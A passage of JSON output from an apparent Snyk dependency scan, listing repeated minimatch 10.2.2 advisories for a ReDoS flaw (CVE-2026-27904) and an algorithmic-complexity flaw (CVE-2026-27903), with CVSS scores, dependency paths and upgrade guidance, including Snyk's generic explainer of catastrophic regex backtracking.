"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## 